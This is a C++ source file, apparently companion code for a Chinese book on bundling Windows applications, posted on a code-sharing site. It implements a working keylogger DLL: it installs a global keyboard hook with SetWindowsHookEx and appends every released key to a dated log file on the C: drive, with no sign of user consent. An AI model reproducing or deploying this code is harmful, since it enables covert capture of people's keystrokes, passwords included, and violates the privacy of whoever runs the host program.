keybhook.cpp
来自「《Windows应用程序捆绑核心编程》配套源码」· C++ 代码 · 共 87 行
CPP
87 行
// KeybHook.cpp:实现CkeybHookApp类.
//
#include "stdafx.h"
#include "KeybHook.h"
/////////////////////////////////////////////////////////////////////////////
// CKeybHookApp
BEGIN_MESSAGE_MAP(CKeybHookApp, CWinApp)
//{{AFX_MSG_MAP(CKeybHookApp)
// NOTE - the ClassWizard will add and remove mapping macros here.
// DO NOT EDIT what you see in these blocks of generated code!
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CKeybHookApp construction
CKeybHookApp::CKeybHookApp()
{
// TODO: add construction code here,
// Place all significant initialization in InitInstance
}
/////////////////////////////////////////////////////////////////////////////
// The one and only CKeybHookApp object
//---------------------------------------------------------------------------
CKeybHookApp theApp;
LRESULT CALLBACK LaunchHook(int nCode,WPARAM wParam,LPARAM lParam);
void SaveLog(char* c);
HHOOK kbHook;
//---------------------------------------------------------------------------
// 输出函数.
DllExport void WINAPI InstallKbHookEv()
{
// 安装全局钩子.
kbHook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)LaunchHook,
theApp.m_hInstance, 0 );
}
//---------------------------------------------------------------------------
// 钩子函数.
LRESULT CALLBACK LaunchHook(int nCode,WPARAM wParam,LPARAM lParam)
{
// 让其它全局钩子获得消息.
LRESULT Result=CallNextHookEx(kbHook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)
{
// 保存按键消息.
char c[1];
c[0]=wParam;
SaveLog(c);
}
}
return Result;
}
//---------------------------------------------------------------------------
// 保存按键记录.
void SaveLog(char* c)
{
// 获得当前时间,生成log文件名.
CTime tm=CTime::GetCurrentTime();
CString name;
// 生成文件名.
name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
CFile file;
// 可以根据需要设定文件名.
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
// 在文件末尾写.
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?